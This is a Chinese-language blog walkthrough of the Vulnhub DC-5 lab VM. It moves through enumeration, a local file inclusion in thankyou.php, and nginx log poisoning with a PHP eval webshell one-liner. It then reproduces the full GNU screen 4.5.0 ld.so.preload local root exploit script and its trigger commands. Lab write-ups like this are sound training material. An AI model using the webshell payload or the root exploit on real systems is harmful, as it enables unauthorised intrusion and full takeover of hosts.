Vulnhub DC-5 Walkthrough


Vulnhub DC-5 Walkthrough.md

前言

无言,意难平啊。

锦瑟
李商隐

锦瑟无端五十弦,一弦一柱思华年。

庄生晓梦迷蝴蝶,望帝春心托杜鹃。

沧海月明珠有泪,蓝田日暖玉生烟。

此情可待成追忆?只是当时已惘然。

  • Scanning
  • Enumeration
  • Exploiting
  • Privilege Escalation

Scanning

IP Scanning

Port Scanning

一共开放了三个端口,分别是 80/111/40560

Enumeration

从上面的结果中可以看出 80 开放了 HTTP 服务,访问后的界面是这样子的,如些图所示:

随便翻了翻,找找有没有什么和服务器交互的地方,这种单纯的静态页面没有什么价值啊,源代码中没有任何有价值的信息。最终发现在 Contact 界面有可以输入的文本框,简单的写一些东西上去看看有什么反应。

发现下面这个 copyright 页面每一次刷新都不一样,这很奇怪啊,为什么啊,先扫一遍用工具。(山东人的倒装句)

目录扫描

dirb http://192.168.17.171 # 发现什么也没有找到,那就换一个扫描的
nikto -h http://192.168.17.171 # 还是什么都没有,那就再换一个,我就不信了
dirsearch -u http://192.168.17.171

其他的我知道,但是这个 footer.php 有些奇怪,结合到那个页面下面的页脚刷新一次变一下,这个文件很可疑。

文件包含

按照上述的页脚位置的变化情况,这里猜测可能是 thankyou.php 包含了 footer.php,但是 ? 后面的参数是什么还不得而知。所以用 测试一下。简单的试了一下几个参数 file,command,name,发现是第一个,所以现在试一下能不能包含系统文件。

一句话木马

http://192.168.17.171/thankyou.php?file=/var/log/nginx/access.log

发现这个目录是可以访问的,所以很容易就想到了构造一个一句话木马写在日志里面

http://192.168.17.171/thankyou.php?file=<?php @eval($_POST['shell']); ?>

但是可能是我菜,一直连不上,我猜测可能是我链接构造的不对,但是我后来去网上一搜,我的天呢,好多人都有这个问题,解决方法就是重装。。。。

# 窃以为,不是我的操作问题,哈哈,所以我也重装了。

Exploiting

反弹shell

先在蚁剑里面扒拉扒拉,看看有什么敏感信息没有,直接反弹 shell 吧。

Privilege Escalation

先看一下 SUID 。发现利用点。

但是这个文件出现了一些问题,直接利用的话是不行的,所以我们要将他切片成三个文件,分别通过 http 传过去,所以下面的步骤略显繁琐。

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

在 kali 中编译这两个文件。

依次那个生成的两个文件传到靶机上。

最后依次运行 script.sh 上的代码。

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen –ls
/tmp/rootshell # 我上面写 _1 是因为我已经有了一个了,所以为了演示下载就加上了一个 _1 以作区分。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录